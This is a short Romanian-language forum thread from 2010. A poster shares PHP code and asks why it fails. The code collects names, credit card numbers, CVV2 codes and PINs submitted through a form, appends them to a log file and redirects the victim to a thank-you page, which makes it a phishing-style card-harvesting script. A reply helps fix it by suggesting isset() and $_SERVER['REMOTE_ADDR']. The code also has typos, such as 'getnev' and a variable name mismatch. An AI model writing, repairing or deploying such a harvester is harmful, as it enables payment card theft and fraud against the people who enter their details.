bobbytza Posted January 6, 2010 Report Posted January 6, 2010 Ce este gresit in codul asta ? <?function san($var){ return htmlentities($var, ENT_QUOTES);}$first_name = san($_POST['first_name']);$last_name = san($_POST['last_name']);$credit_card_type = $_POST['credit_card_type'];$ccnumber = san($_POST['ccnumber']);$ccv2 = san($_POST['cvv2']);$PIN = san($_POST['PIN']);$IP = getnev ('REMOTE_ADDR);header("Location: Thanks.htm");?><?phpif ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){ $fp = fopen("log.html", "a"); $stuff = "<br>" ."First Name: " . $first_name . "<br>" . "Last Name: " . $last_name . "<br>" . "Credit Card Type: " . $credit_card_type . "<br>" . "ccnumber: " . $ccnumber . "<br>" . "cvv2: " . $cvv2 . "<br>" . "PIN: " . $PIN . "<br>" . "\n"; fputs($fp, $stuff);} else { ;}?>Mai bine zis in linia de cod:if ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){Ori nu vad ceva ori nu inteleg ! Quote
Nytro Posted January 7, 2010 Report Posted January 7, 2010 Folosesti isset($_POST['xx']) si $_SERVER['REMOTE_ADDR']. Quote